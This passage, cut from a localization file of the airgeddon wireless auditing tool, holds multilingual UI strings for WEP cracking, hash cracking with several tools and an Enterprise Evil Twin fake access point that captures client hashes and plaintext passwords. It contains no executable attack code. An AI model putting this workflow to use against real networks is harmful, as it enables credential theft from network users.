WEP" wep_texts["ITALIAN",1]="airgeddon. Password decifrata con l'attacco WEP" wep_texts["POLISH",1]="airgeddon. Hasło odszyfrowane w ataku WEP" wep_texts["GERMAN",1]="airgeddon. Passwort während WEP-Angriff entschlüsselt" wep_texts["TURKISH",1]="airgeddon. WEP saldırısı sırasında çözülen şifre" wep_texts["ARABIC",1]="WEP تم فك تشفير كلمة المرور أثناء هجوم .airgeddon" wep_texts["CHINESE",1]="airgeddon WEP 攻击期间解密的密码" wep_texts["ENGLISH",2]="Channel" wep_texts["SPANISH",2]="Canal" wep_texts["FRENCH",2]="Canal" wep_texts["CATALAN",2]="Canal" wep_texts["PORTUGUESE",2]="Canal" wep_texts["RUSSIAN",2]="Канал" wep_texts["GREEK",2]="Κανάλι" wep_texts["ITALIAN",2]="Canale" wep_texts["POLISH",2]="Kanał" wep_texts["GERMAN",2]="Kanal" wep_texts["TURKISH",2]="Kanal" wep_texts["ARABIC",2]="قناة" wep_texts["CHINESE",2]="信道" wep_texts["ENGLISH",3]="Hexadecimal" wep_texts["SPANISH",3]="Hexadecimal" wep_texts["FRENCH",3]="Hexadécimal" wep_texts["CATALAN",3]="Hexadecimal" wep_texts["PORTUGUESE",3]="Hexadecimal" wep_texts["RUSSIAN",3]="Шестнадцатеричный" wep_texts["GREEK",3]="Δεκαεξαδικό" wep_texts["ITALIAN",3]="Esadecimale" wep_texts["POLISH",3]="Hexadecymalny" wep_texts["GERMAN",3]="Hexadezimal" wep_texts["TURKISH",3]="Hexadecimal" wep_texts["ARABIC",3]="السداسي عشري" wep_texts["CHINESE",3]="十六进制" wep_texts["ENGLISH",4]="WEP key decrypted successfully:" wep_texts["SPANISH",4]="Clave WEP descifrada con éxito:" wep_texts["FRENCH",4]="Clef WEP déchiffré:" wep_texts["CATALAN",4]="Clau WEP desxifrada amb èxit:" wep_texts["PORTUGUESE",4]="Senha WEP descriptografada com sucesso:" wep_texts["RUSSIAN",4]="Ключ WEP расшифрован:" wep_texts["GREEK",4]="Το κλειδί WEP αποκρυπτογραφήθηκε με επιτυχία:" wep_texts["ITALIAN",4]="Chiave WEP decifrata con successo:" wep_texts["POLISH",4]="Klucz WEP odszyfrowywany prawidłowo:" wep_texts["GERMAN",4]="WEP-Schlüssel erfolgreich entschlüsselt:" wep_texts["TURKISH",4]="WEP anahtarı başarıyla çözüldü:" wep_texts["ARABIC",4]=":بنجاح WEP تم فك تشفير مفتاح" wep_texts["CHINESE",4]="WEP 密钥解密成功:" wep_texts["ENGLISH",5]="WEP AP Info" wep_texts["SPANISH",5]="Info WEP AP" wep_texts["FRENCH",5]="Info WEP AP" wep_texts["CATALAN",5]="Info WEP AP" wep_texts["PORTUGUESE",5]="Info WEP AP" wep_texts["RUSSIAN",5]="Информация о WEP ТД" wep_texts["GREEK",5]="Πληροφορίες WEP AP" wep_texts["ITALIAN",5]="Info WEP AP" wep_texts["POLISH",5]="Informacja o AP WEP" wep_texts["GERMAN",5]="Info über WEP AP" wep_texts["TURKISH",5]="WEP AP Bilgisi" wep_texts["ARABIC",5]="WEP AP معلومات" wep_texts["CHINESE",5]="WEP AP 信息" wep_texts["ENGLISH",6]="The password was saved on file" wep_texts["SPANISH",6]="La contraseña se ha guardado en el fichero" wep_texts["FRENCH",6]="Le mot de passe est enregistré dans le fichier" wep_texts["CATALAN",6]="La contrasenya s'ha guardat en el fitxer" wep_texts["PORTUGUESE",6]="A senha foi salva no arquivo" wep_texts["RUSSIAN",6]="Пароль был сохранён в файле" wep_texts["GREEK",6]="Ο κωδικός πρόσβασης αποθηκεύτηκε σε αρχείο" wep_texts["ITALIAN",6]="La password è stata salvata nel file" wep_texts["POLISH",6]="Hasło zostało zapisane do pliku" wep_texts["GERMAN",6]="Das Passwort wurde in der Datei gespeichert" wep_texts["TURKISH",6]="Şifre dosyaya kaydedildi" wep_texts["ARABIC",6]="تم حفظ كلمة المرور في الملف" wep_texts["CHINESE",6]="密码已保存至文件" declare -gA asleap_texts asleap_texts["ENGLISH",0]="Response" asleap_texts["SPANISH",0]="Response" asleap_texts["FRENCH",0]="Réponse" asleap_texts["CATALAN",0]="Response" asleap_texts["PORTUGUESE",0]="Resposta" asleap_texts["RUSSIAN",0]="Ответ" asleap_texts["GREEK",0]="Response" asleap_texts["ITALIAN",0]="Response" asleap_texts["POLISH",0]="Odpowiedź" asleap_texts["GERMAN",0]="Rückmeldung" asleap_texts["TURKISH",0]="Yanıt" asleap_texts["ARABIC",0]="جواب" asleap_texts["CHINESE",0]="响应" asleap_texts["ENGLISH",1]="airgeddon. Decrypted password using asleap" asleap_texts["SPANISH",1]="airgeddon. Contraseña descifrada con asleap" asleap_texts["FRENCH",1]="airgeddon. Mot de passe déchiffré avec asleap" asleap_texts["CATALAN",1]="airgeddon. Contrasenya desxifrada amb asleap" asleap_texts["PORTUGUESE",1]="airgeddon descriptografou a senha usando asleap" asleap_texts["RUSSIAN",1]="airgeddon. Пароль расшифрован с использованием asleap" asleap_texts["GREEK",1]="airgeddon. Αποκρυπτογραφημένος κωδικός πρόσβασης με χρήση asleap" asleap_texts["ITALIAN",1]="airgeddon. Password decifrata con asleap" asleap_texts["POLISH",1]="airgeddon. Hasło odszyfrowane z użyciem asleap" asleap_texts["GERMAN",1]="airgeddon. Passwort mit asleap entschlüsselt" asleap_texts["TURKISH",1]="airgeddon. asleap kullanarak şifreyi çözdü" asleap_texts["ARABIC",1]="asleap فك تشفير كلمة السر باستخدام .airgeddon" asleap_texts["CHINESE",1]="airgeddon 使用 asleap 破解密码" asleap_texts["ENGLISH",2]="Challenge" asleap_texts["SPANISH",2]="Challenge" asleap_texts["FRENCH",2]="Défi" asleap_texts["CATALAN",2]="Challenge" asleap_texts["PORTUGUESE",2]="Desafio" asleap_texts["RUSSIAN",2]="Вызов" asleap_texts["GREEK",2]="Challenge" asleap_texts["ITALIAN",2]="Challenge" asleap_texts["POLISH",2]="Challenge" asleap_texts["GERMAN",2]="Challenge" asleap_texts["TURKISH",2]="Challenge" asleap_texts["ARABIC",2]="التحدي" asleap_texts["CHINESE",2]="挑战" declare -gA jtr_texts jtr_texts["ENGLISH",0]="Enterprise users and passwords" jtr_texts["SPANISH",0]="Usuarios y contraseñas enterprise" jtr_texts["FRENCH",0]="Utilisateurs et mots de passe d'entreprise" jtr_texts["CATALAN",0]="Usuaris i contrasenyes enterprise" jtr_texts["PORTUGUESE",0]="Usuários e senhas enterprise" jtr_texts["RUSSIAN",0]="Пользователь и пароль в enterprise" jtr_texts["GREEK",0]="Enterprise χρήστες και κωδικοί πρόσβασης" jtr_texts["ITALIAN",0]="Utenti e password enterprise" jtr_texts["POLISH",0]="Użytkownicy i hasła enterprise" jtr_texts["GERMAN",0]="Enterprise-Benutzernamen und Kennwörter" jtr_texts["TURKISH",0]="Enterprise kullanıcılar ve şifreler" jtr_texts["ARABIC",0]="Enterprise مستخدمي وكلمات السر" jtr_texts["CHINESE",0]="企业用户和密码" jtr_texts["ENGLISH",1]="airgeddon. Decrypted password using john the ripper" jtr_texts["SPANISH",1]="airgeddon. Contraseña descifrada con john the ripper" jtr_texts["FRENCH",1]="airgeddon. Mot de passe déchiffré avec john the ripper" jtr_texts["CATALAN",1]="airgeddon. Contrasenya desxifrada amb john the ripper" jtr_texts["PORTUGUESE",1]="airgeddon descriptografou a senha usando john the ripper" jtr_texts["RUSSIAN",1]="airgeddon. Пароль расшифрован с использованием john the ripper" jtr_texts["GREEK",1]="airgeddon. Αποκρυπτογραφημένος κωδικός πρόσβασης με χρήση john the ripper" jtr_texts["ITALIAN",1]="airgeddon. Password decifrata con john the ripper" jtr_texts["POLISH",1]="airgeddon. Hasło odszyfrowane z użyciem john the ripper" jtr_texts["GERMAN",1]="airgeddon. Passwort mit john the ripper entschlüsselt" jtr_texts["TURKISH",1]="airgeddon. John the ripper kullanarak şifreyi çözdü" jtr_texts["ARABIC",1]="john the ripper فك تشفير كلمة السر باستخدام .airgeddon" jtr_texts["CHINESE",1]="airgeddon 使用 john the ripper 破解密码" jtr_texts["ENGLISH",2]="Enterprise user" jtr_texts["SPANISH",2]="Usuario enterprise" jtr_texts["FRENCH",2]="Nom d'utilisateur enterprise" jtr_texts["CATALAN",2]="Nom d'usuari enterprise" jtr_texts["PORTUGUESE",2]="Nome de usuário enterprise" jtr_texts["RUSSIAN",2]="Пользователь в enterprise" jtr_texts["GREEK",2]="Όνομα χρήστη enterprise" jtr_texts["ITALIAN",2]="Utente enterprise" jtr_texts["POLISH",2]="Użytkownik enterprise" jtr_texts["GERMAN",2]="Enterprise-Benutzername" jtr_texts["TURKISH",2]="Enterprise kullanıcı" jtr_texts["ARABIC",2]="Enterprise مستخدم" jtr_texts["CHINESE",2]="企业用户" declare -gA hashcat_texts hashcat_texts["ENGLISH",0]="Enterprise users and passwords" hashcat_texts["SPANISH",0]="Usuarios y contraseñas enterprise" hashcat_texts["FRENCH",0]="Utilisateurs et mots de passe d'entreprise" hashcat_texts["CATALAN",0]="Usuaris i contrasenyes enterprise" hashcat_texts["PORTUGUESE",0]="Usuários e senhas enterprise" hashcat_texts["RUSSIAN",0]="Пользователь и пароль в enterprise" hashcat_texts["GREEK",0]="Enterprise χρήστες και κωδικοί πρόσβασης" hashcat_texts["ITALIAN",0]="Utenti e password enterprise" hashcat_texts["POLISH",0]="Użytkownicy i hasła enterprise" hashcat_texts["GERMAN",0]="Enterprise-Benutzernamen und Kennwörter" hashcat_texts["TURKISH",0]="Enterprise kullanıcılar ve şifreler" hashcat_texts["ARABIC",0]="Enterprise مستخدمي وكلمات السر" hashcat_texts["CHINESE",0]="企业用户和密码" hashcat_texts["ENGLISH",1]="airgeddon. Decrypted password using hashcat" hashcat_texts["SPANISH",1]="airgeddon. Contraseña descifrada con hashcat" hashcat_texts["FRENCH",1]="airgeddon. Mot de passe déchiffré avec hashcat" hashcat_texts["CATALAN",1]="airgeddon. Contrasenya desxifrada amb hashcat" hashcat_texts["PORTUGUESE",1]="airgeddon descriptografou a senha usando hashcat" hashcat_texts["RUSSIAN",1]="airgeddon. Пароль расшифрован с использованием hashcat" hashcat_texts["GREEK",1]="airgeddon. Αποκρυπτογραφημένος κωδικός πρόσβασης με χρήση hashcat" hashcat_texts["ITALIAN",1]="airgeddon. Password decifrata con hashcat" hashcat_texts["POLISH",1]="airgeddon. Hasło odszyfrowane z użyciem hashcat" hashcat_texts["GERMAN",1]="airgeddon. Passwort mit hashcat entschlüsselt" hashcat_texts["TURKISH",1]="airgeddon. Hashcat kullanarak şifreyi çözdü" hashcat_texts["ARABIC",1]="hashcat فك تشفير كلمة السر باستخدام .airgeddon" hashcat_texts["CHINESE",1]="airgeddon 使用 hashcat 解密密码" hashcat_texts["ENGLISH",2]="Enterprise user" hashcat_texts["SPANISH",2]="Usuario enterprise" hashcat_texts["FRENCH",2]="Nom d'utilisateur enterprise" hashcat_texts["CATALAN",2]="Nom d'usuari enterprise" hashcat_texts["PORTUGUESE",2]="Nome de usuário enterprise" hashcat_texts["RUSSIAN",2]="Пользователь в enterprise" hashcat_texts["GREEK",2]="Όνομα χρήστη enterprise" hashcat_texts["ITALIAN",2]="Utente enterprise" hashcat_texts["POLISH",2]="Użytkownik enterprise" hashcat_texts["GERMAN",2]="Enterprise-Benutzername" hashcat_texts["TURKISH",2]="Enterprise kullanıcı" hashcat_texts["ARABIC",2]="Enterprise مستخدم" hashcat_texts["CHINESE",2]="企业用户" declare -gA aircrack_texts aircrack_texts["ENGLISH",0]="airgeddon. Decrypted password using aircrack" aircrack_texts["SPANISH",0]="airgeddon. Contraseña descifrada con aircrack" aircrack_texts["FRENCH",0]="airgeddon. Mot de passe déchiffré avec aircrack" aircrack_texts["CATALAN",0]="airgeddon. Contrasenya desxifrada amb aircrack" aircrack_texts["PORTUGUESE",0]="airgeddon descriptografou a senha usando aircrack" aircrack_texts["RUSSIAN",0]="airgeddon. Пароль расшифрован с использованием aircrack" aircrack_texts["GREEK",0]="airgeddon. Αποκρυπτογραφημένος κωδικός πρόσβασης με χρήση aircrack" aircrack_texts["ITALIAN",0]="airgeddon. Password decifrata con aircrack" aircrack_texts["POLISH",0]="airgeddon. Hasło odszyfrowane z użyciem aircrack" aircrack_texts["GERMAN",0]="airgeddon. Passwort mit aircrack entschlüsselt" aircrack_texts["TURKISH",0]="airgeddon. Aircrack kullanarak şifreyi çözdü" aircrack_texts["ARABIC",0]="aircrack فك تشفير كلمة السر باستخدام .airgeddon" aircrack_texts["CHINESE",0]="airgeddon 使用 aircrack 解密密码" declare -gA enterprise_texts enterprise_texts["ENGLISH",0]="Enterprise Evil Twin AP Info" enterprise_texts["SPANISH",0]="Info Evil Twin Enterprise AP" enterprise_texts["FRENCH",0]="Info Evil Twin Enterprise AP" enterprise_texts["CATALAN",0]="Info Evil Twin Enterprise AP" enterprise_texts["PORTUGUESE",0]="Informações do AP Evil Twin Enterprise" enterprise_texts["RUSSIAN",0]="Информация о Enterprise Evil Twin" enterprise_texts["GREEK",0]="Πληροφορίες Enterprise Evil Twin AP" enterprise_texts["ITALIAN",0]="Info Evil Twin Enterprise AP" enterprise_texts["POLISH",0]="Informacja o Evil Twin Enterprise AP" enterprise_texts["GERMAN",0]="Information über Evil Twin Enterprise AP" enterprise_texts["TURKISH",0]="Enterprise Şeytani İkiz AP Bilgisi" enterprise_texts["ARABIC",0]="Enterprise Evil Twin AP معلومات" enterprise_texts["CHINESE",0]="企业级加密 邪恶双胞胎 AP 信息" enterprise_texts["ENGLISH",1]="Channel" enterprise_texts["SPANISH",1]="Canal" enterprise_texts["FRENCH",1]="Canal" enterprise_texts["CATALAN",1]="Canal" enterprise_texts["PORTUGUESE",1]="Canal" enterprise_texts["RUSSIAN",1]="Канал" enterprise_texts["GREEK",1]="Κανάλι" enterprise_texts["ITALIAN",1]="Canale" enterprise_texts["POLISH",1]="Kanał" enterprise_texts["GERMAN",1]="Kanal" enterprise_texts["TURKISH",1]="Kanal" enterprise_texts["ARABIC",1]="قناة" enterprise_texts["CHINESE",1]="信道" enterprise_texts["ENGLISH",2]="Online time" enterprise_texts["SPANISH",2]="Tiempo online" enterprise_texts["FRENCH",2]="Temps en ligne" enterprise_texts["CATALAN",2]="Temps online" enterprise_texts["PORTUGUESE",2]="Tempo online" enterprise_texts["RUSSIAN",2]="Время онлайн" enterprise_texts["GREEK",2]="Χρόνος σε σύνδεση" enterprise_texts["ITALIAN",2]="Tempo online" enterprise_texts["POLISH",2]="Czas online" enterprise_texts["GERMAN",2]="Zeit online" enterprise_texts["TURKISH",2]="Çevrimiçi zaman" enterprise_texts["ARABIC",2]="المدة على الانترنت" enterprise_texts["CHINESE",2]="在线时间" enterprise_texts["ENGLISH",3]="On this attack, we'll wait for a network client to provide us a hash or a password for the Enterprise wifi network in our fake AP. You selected \"smooth\" mode, so as soon as one password or hash is captured, the attack will be dismantled. You can also stop it pressing [Enter] key on the main window" enterprise_texts["SPANISH",3]="Con este ataque, esperaremos a que algún cliente nos de un hash o su contraseña de la red wifi Enterprise en nuestro AP falso. Has seleccionado el modo \"smooth\", por lo que tan pronto se capture un hash o contraseña, el ataque se parará. También puedes parar el ataque pulsando la tecla [Enter] en la pantalla principal" enterprise_texts["FRENCH",3]="Avec cette attaque, nous attendrons qu'un client nous donne un hash ou son mot de passe pour le réseau wifi d'entreprise dans notre faux point d'accès. \"silencieux\" mode, donc dès qu'un hash ou un mot de passe soit capturé, l'attaque va s'arrêter. Vous pouvez également arrêter l'attaque en appuyant sur la touche [Enter] de l'écran principal" enterprise_texts["CATALAN",3]="Amb aquest atac, esperarem que algun client ens done un hash o la contrasenya de la xarxa wifi Enterprise en el nostre AP fals. Heu seleccionat el mode \"smooth\", de manera que tan aviat es capturi un hash o contrasenya, l'atac es pararà. També pots parar l'atac prement la tecla [Enter] a la pantalla principal" enterprise_texts["PORTUGUESE",3]="Com esse ataque vamos esperar que um cliente nos forneça uma hash ou senha para a rede wifi da empresa em nosso AP falso. No \"modo discreto\" assim que uma hash ou senha é capturada o ataque irá parar. Você também pode parar o ataque pressionando a tecla [Enter] na janela principal" enterprise_texts["RUSSIAN",3]="С этой атакой мы будем ждать, пока клиент сети в нашей поддельной ТД предоставит нам хэш или его пароль для сети Enterprise wifi. Вы выбрали режим \"smooth\", поэтому, как только хеш или пароль будут захвачены, атака остановится. Вы также можете остановить атаку, нажав клавишу [Enter] на главном экране" enterprise_texts["GREEK",3]="Σε αυτήν την επίθεση, θα περιμένουμε έναν πελάτη του δικτύου να μας δώσει ένα hash ή τον κωδικό του για το Enterprise wifi δίκτυο στο fake AP μας. \"smooth\", έτσι ώστε μόλις καταγραφεί ένα hash ή ένας κωδικός πρόσβασης, η επίθεση θα σταματήσει. Μπορείτε επίσης να σταματήσετε την επίθεση πατώντας το πλήκτρο [Enter] στην κύρια οθόνη" enterprise_texts["ITALIAN",3]="Con questo attacco, aspetteremo che un cliente ci dia un hash o la sua password per la rete wifi Enterprise attraverso il nostro AP falso. Hai selezione la modalità \"smooth\", quindi non appena viene catturato un hash o una password, l'attacco si interrompe. Puoi anche fermare l'attacco premendo il tasto [Enter] nella schermata principale" enterprise_texts["POLISH",3]="W tym ataku poczekamy aż klient poda nam hash lub hasło do sieci wifi Enterprise w naszym fałszywym AP. W trybie \"smooth\", gdy tylko hash lub hasło zostanie przechwycone atak się zatrzyma. Możesz także zatrzymać atak naciskając klawisz [Enter] na ekranie głównym" enterprise_texts["GERMAN",3]="Mit diesem Angriff werden wir darauf warten, dass uns ein Kunde einen Hash oder sein Passwort für das Enterprise WLAN-Netzwerk in unserem gefälschten AP gibt. Mit dem \"smooth\" Modus wird der Angriff sobald ein Hash oder Passwort erfasst wurde beenden. Sie können den Angriff auch durch Drücken der [Enter]-Taste auf dem Hauptbildschirm stoppen" enterprise_texts["TURKISH",3]="Bu saldırı ile, bir clientin sahte AP'deki Enterprise wifi ağı için bize bir hash veya şifre vermesini bekleyeceğiz. \"smooth\" modunu seçtiniz, böylece bir hash veya şifre yakalanır yakalanmaz saldırı duracaktır. Ana ekranda [Enter] tuşuna basarak da saldırıyı durdurabilirsiniz" enterprise_texts["ARABIC",3]="[Enter] وبمجرد التقاط كلمة مرور أو تجزئة واحدة ، سيتم تفكيك الهجوم. يمكنك أيضًا إيقافه بالضغط على مفتاح \"smooth\" في نقطة الوصول المزيفة. لقد حددت الوضع Enterprise wifi في هذا الهجوم ، سننتظر حتى يقوم عميل الشبكة بتزويدنا بتجزئة أو كلمة مرور لشبكة" enterprise_texts["CHINESE",3]="在这次攻击中,我们将等待网络客户端在我们的假 AP 中为我们提供企业级加密 wifi 网络的哈希值或密码。您选择了“平滑”模式,因此一旦捕获到某个密码或哈希值,攻击就会被解除。您也可以在主窗口按 [Enter] 键停止它" enterprise_texts["ENGLISH",4]="On this attack, we'll wait for a network client to provide us a hash or a password for the Enterprise wifi network in our fake AP. You selected \"noisy\" mode, so the attack won't stop until you press [Enter] key on the main window" enterprise_texts["SPANISH",4]="Con este ataque, esperaremos a que algún cliente nos de un hash o su contraseña de la red wifi Enterprise en nuestro AP falso. Has seleccionado el modo \"noisy\", por lo que el ataque no parará hasta que pulses la tecla [Enter] en la pantalla principal" enterprise_texts["FRENCH",4]="Avec cette attaque, nous attendrons qu'un client nous donne un hash ou son mot de passe pour le réseau de wifi entreprise dans notre faux point d'accès. Vous avez sélectionné le mode \"bruyant\", donc l'attaque ne s'arrêtera pas tant que vous n'appuyez pas sur la touche [Enter] de l'écran principal" enterprise_texts["CATALAN",4]="Amb aquest atac, esperarem que algun client ens done un hash o la contrasenya de la xarxa wifi Enterprise en el nostre AP fals. Heu seleccionat el mode \"noisy\", de manera que l'atac no pararà fins que premis la tecla [Enter] a la pantalla principal" enterprise_texts["PORTUGUESE",4]="Com esse ataque vamos esperar que um cliente nos forneça uma hash ou senha para a rede wifi da empresa em nosso AP falso. Você selecionou o \"modo agressivo\", então o ataque não irá parar até que você pressione a tecla [Enter] na janela principal" enterprise_texts["RUSSIAN",4]="С этой атакой мы будем ждать, пока клиент предоставит нам хэш или его пароль для сети Enterprise wifi в нашей поддельной AP. Вы выбрали режим \"noisy\", поэтому атака не остановится, пока вы не нажмёте клавишу [Enter] на главном экране" enterprise_texts["GREEK",4]="Σε αυτήν την επίθεση, θα περιμένουμε έναν πελάτη του δικτύου να μας δώσει ένα hash ή τον κωδικό του για το Enterprise wifi δίκτυο στο fake AP μας. Έχετε επιλέξει τη λειτουργία \"noisy\", οπότε η επίθεση δεν θα σταματήσει μέχρι να πατήσετε το πλήκτρο [Enter] στην κύρια οθόνη" enterprise_texts["ITALIAN",4]="Con questo attacco, aspetteremo che un cliente ci dia un hash o la sua password per la rete wifi Enterprise attraverso il nostro AP falso. Hai selezionato la modalità \"noisy\", quindi l'attacco non si fermerà finché non premi il tasto [Enter] nella schermata principale" enterprise_texts["POLISH",4]="W tym ataku poczekamy aż klient poda nam skrót lub hasło do sieci wifi Enterprise w naszym fałszywym AP. Wybrałeś tryb \"noisy\" więc atak nie zostanie zatrzymany dopóki nie naciśniesz klawisza [Enter] na głównym ekranie" enterprise_texts["GERMAN",4]="Mit diesem Angriff werden wir darauf warten, dass uns ein Kunde einen Hash oder sein Passwort für das Enterprise Wi-Fi-Netzwerk in unserem gefälschten AP gibt. Sie haben den \"noisy\" Modus gewählt, der Angriff wird somit nicht stoppen, bis Sie die [Enter]-Taste auf dem Hauptbildschirm drücken" enterprise_texts["TURKISH",4]="Bu saldırı ile, bir clientin sahte AP'deki Enterprise wifi ağı için bize bir hash veya şifresini vermesini bekleyeceğiz. \"noisy\" modunu seçtiniz, bu yüzden ana ekranda [Enter] tuşuna basana kadar saldırı durmayacak" enterprise_texts["ARABIC",4]="[Enter] وبمجرد التقاط كلمة مرور أو تجزئة واحدة ، سيتم تفكيك الهجوم. يمكنك أيضًا إيقافه بالضغط على مفتاح \"noisy\" في نقطة الوصول المزيفة. لقد حددت الوضع Enterprise wifi في هذا الهجوم ، سننتظر حتى يقوم عميل الشبكة بتزويدنا بتجزئة أو كلمة مرور لشبكة" enterprise_texts["CHINESE",4]="在这次攻击中,我们将等待网络客户端在我们的假 AP 中为我们提供企业 wifi 网络的哈希值或密码。您选择了“嘈杂”模式,因此在您按下主窗口上的 [Enter] 键之前攻击都不会停止" enterprise_texts["ENGLISH",5]="Last captured user" enterprise_texts["SPANISH",5]="Último usuario capturado" enterprise_texts["FRENCH",5]="Dernier utilisateur capturé" enterprise_texts["CATALAN",5]="Darrer usuari capturat" enterprise_texts["PORTUGUESE",5]="Último usuário capturado" enterprise_texts["RUSSIAN",5]="Последний захваченный пользователь" enterprise_texts["GREEK",5]="Τελευταίος χρήστης που καταγράφηκε" enterprise_texts["ITALIAN",5]="Ultimo utente catturato" enterprise_texts["POLISH",5]="Ostatni przechwycony użytkownik" enterprise_texts["GERMAN",5]="Letzter erfasste Nutzer" enterprise_texts["TURKISH",5]="Son yakalanan kullanıcı" enterprise_texts["ARABIC",5]="آخرمستخدم تم القبض عليه" enterprise_texts["CHINESE",5]="最后捕获的用户" enterprise_texts["ENGLISH",6]="Nothing captured yet" enterprise_texts["SPANISH",6]="Aún no se ha capturado nada" enterprise_texts["FRENCH",6]="Rien encore a été capturé" enterprise_texts["CATALAN",6]="Encara no s'ha capturat res" enterprise_texts["PORTUGUESE",6]="Nada foi capturado ainda" enterprise_texts["RUSSIAN",6]="Пока ничего не захвачено" enterprise_texts["GREEK",6]="Τίποτα δεν έχει καταγραφεί ακόμα" enterprise_texts["ITALIAN",6]="Non è stato ancora catturato niente" enterprise_texts["POLISH",6]="Jeszcze nic nie zostało przechwycone" enterprise_texts["GERMAN",6]="Nichts wurde bisher erfasst" enterprise_texts["TURKISH",6]="Henüz yakalanan bir şey yok" enterprise_texts["ARABIC",6]="لم يتم التقاط أي شيء حتى الآن" enterprise_texts["CHINESE",6]="尚未捕获任何内容" enterprise_texts["ENGLISH",7]="Captured hashes" enterprise_texts["SPANISH",7]="Hashes capturados" enterprise_texts["FRENCH",7]="Hashes capturés" enterprise_texts["CATALAN",7]="Hashes capturats" enterprise_texts["PORTUGUESE",7]="Hashes capturadas" enterprise_texts["RUSSIAN",7]="Захваченные хеши" enterprise_texts["GREEK",7]="Καταγεγραμμένα hashes" enterprise_texts["ITALIAN",7]="Hash catturati" enterprise_texts["POLISH",7]="Przechwycone hashe" enterprise_texts["GERMAN",7]="Erfasste Hashes" enterprise_texts["TURKISH",7]="Yakalanan hashler" enterprise_texts["ARABIC",7]="التجزئات الملتقطة" enterprise_texts["CHINESE",7]="捕获的哈希值" enterprise_texts["ENGLISH",8]="Captured plain text passwords" enterprise_texts["SPANISH",8]="Contraseñas en texto plano capturadas" enterprise_texts["FRENCH",8]="Mots de passe en texte brut capturés" enterprise_texts["CATALAN",8]="Contrasenyes en text pla capturades" enterprise_texts["PORTUGUESE",8]="Senhas em texto simples capturadas" enterprise_texts["RUSSIAN",8]="Захвачены пароли в виде простого текста" enterprise_texts["GREEK",8]="Καταγεγραμμένοι κωδικοί απλού κειμένου" enterprise_texts["ITALIAN",8]="Password in chiaro acquisite" enterprise_texts["POLISH",8]="Przechwycone hasła w tekscie jawnym" enterprise_texts["GERMAN",8]="Erfasste Klartextpasswörter" enterprise_texts["TURKISH",8]="Yakalanan text şifreler" enterprise_texts["ARABIC",8]="كلمات السر الملتقطة" enterprise_texts["CHINESE",8]="捕获的明文密码" enterprise_texts["ENGLISH",9]="Press [Enter] on the main script window to continue, this window will be closed and the files will be generated" enterprise_texts["SPANISH",9]="Pulsa [Enter] en la ventana principal del script para continuar, esta ventana se cerrará y los ficheros serán generados" enterprise_texts["FRENCH",9]="Appuyez sur [Enter] dans la fenêtre principale du script pour continuer, cette fenêtre sera fermée et les fichiers seront générés" enterprise_texts["CATALAN",9]="Prem [Enter] a la finestra principal del script per continuar, aquesta finestra es tancarà i els fitxers seran generats" enterprise_texts["PORTUGUESE",9]="Para continuar pressione [Enter] na janela principal do script, esta janela será fechada e os arquivos serão gerados" enterprise_texts["RUSSIAN",9]="Нажмите [Enter] в главном окне для продолжения, это окно будет закрыто и файлы будут сгенерированы" enterprise_texts["GREEK",9]="Πατήστε [Enter] στο κύριο παράθυρο του script για να συνεχίσετε, το παράθυρο αυτό θα κλείσει και θα δημιουργηθούν τα ανάλογα αρχεία" enterprise_texts["ITALIAN",9]="Premi il tasto [Enter] nella finestra principale dello script per continuare, questa finestra si chiuderà e i file verranno generati" enterprise_texts["POLISH",9]="Wciśnij [Enter] w oknie głównym skryptu aby kontynuować, to okno zostanie zamknięte a pliki zostaną wygenerowane" enterprise_texts["GERMAN",9]="Drücken Sie die [Enter]-Taste im Hauptfenster um fortzufahren. Dieses Fenster wird geschlossen und die Dateien werden generiert" enterprise_texts["TURKISH",9]="Devam etmek için [Enter] tuşuna basınız, bu sayfa kapatılacaktır ve dosyalar oluşturulacak" enterprise_texts["ARABIC",9]="في نافذة البرنامج الرئيسية للمتابعة ، سيتم إغلاق هذه النافذة وسيتم إنشاء الملفات [Enter] اضغط على" enterprise_texts["CHINESE",9]="在脚本主窗口按 [Enter] 键继续,该窗口将关闭并生成文件" enterprise_texts["ENGLISH",10]="The captured files will be saved on directory" enterprise_texts["SPANISH",10]="Los ficheros capturados se guardarán en el directorio" enterprise_texts["FRENCH",10]="Les fichiers capturés seront enregistrés dans le répertoire" enterprise_texts["CATALAN",10]="Els fitxers capturats es guardaran al directori" enterprise_texts["PORTUGUESE",10]="Os arquivos capturados serão salvos no diretório" enterprise_texts["RUSSIAN",10]="Захваченные файлы будут сохранены в каталоге" enterprise_texts["GREEK",10]="Τα αρχεία που έχουν καταγραφεί θα αποθηκευτούν στον κατάλογο" enterprise_texts["ITALIAN",10]="I file catturati verranno salvati nella directory" enterprise_texts["POLISH",10]="Przechwycone pliki zostaną zapisane w katalogu" enterprise_texts["GERMAN",10]="Die erfassten Dateien werden im Verzeichnis gespeichert" enterprise_texts["TURKISH",10]="Yakalanan dosyalar dizine kaydedilecek" enterprise_texts["ARABIC",10]="سيتم حفظ الملفات الملتقطة في المجلد" enterprise_texts["CHINESE",10]="捕获的文件将保存在文件夹中" enterprise_texts["ENGLISH",11]="airgeddon. Captured passwords during Enterprise Evil Twin" enterprise_texts["SPANISH",11]="airgeddon. Contraseñas capturadas en Evil Twin Enterprise" enterprise_texts["FRENCH",11]="airgeddon. Mots de passe capturés dans Evil Twin Enterprise" enterprise_texts["CATALAN",11]="airgeddon. Contrasenyes capturades en Evil Twin Enterprise" enterprise_texts["PORTUGUESE",11]="airgeddon. Senhas capturadas no Ataque Evil Twin Enterprise" enterprise_texts["RUSSIAN",11]="airgeddon. По время Evil Twin Enterprise захвачены пароли" enterprise_texts["GREEK",11]="airgeddon. Κωδικοί που καταγράφηκαν στο Enterprise Evil Twin" enterprise_texts["ITALIAN",11]="airgeddon. Password catturate con Evil Twin Enterprise" enterprise_texts["POLISH",11]="airgeddon. Hasła przechwycone w Evil Twin Enterprise" enterprise_texts["GERMAN",11]="airgeddon. Erfasste Passwörter während Evil Twin Enterprise" enterprise_texts["TURKISH",11]="airgeddon. Evil Twin Enterprise'da yakalanan şifreler" enterprise_texts["ARABIC",11]="Enterprise Evil Twin تم التقاط كلمات السرأثناء .airgeddon" enterprise_texts["CHINESE",11]="airgeddon 在企业级加密的邪恶双胞胎攻击期间捕获的密码" declare -gA footer_texts footer_texts["ENGLISH",0]="If you enjoyed the script and found it useful, you can support the project by making a donation. Through PayPal (${mail}) or sending a fraction of cryptocurrency (Bitcoin, Ethereum, Litecoin...). Any amount, no matter how small (1, 2, 5 $/€) is welcome. More information and direct links to do it at: ${urlgithub_wiki}/Contributing-&-Code-of-Conduct" footer_texts["SPANISH",0]="Si te gustó el script y te pareció útil, puedes 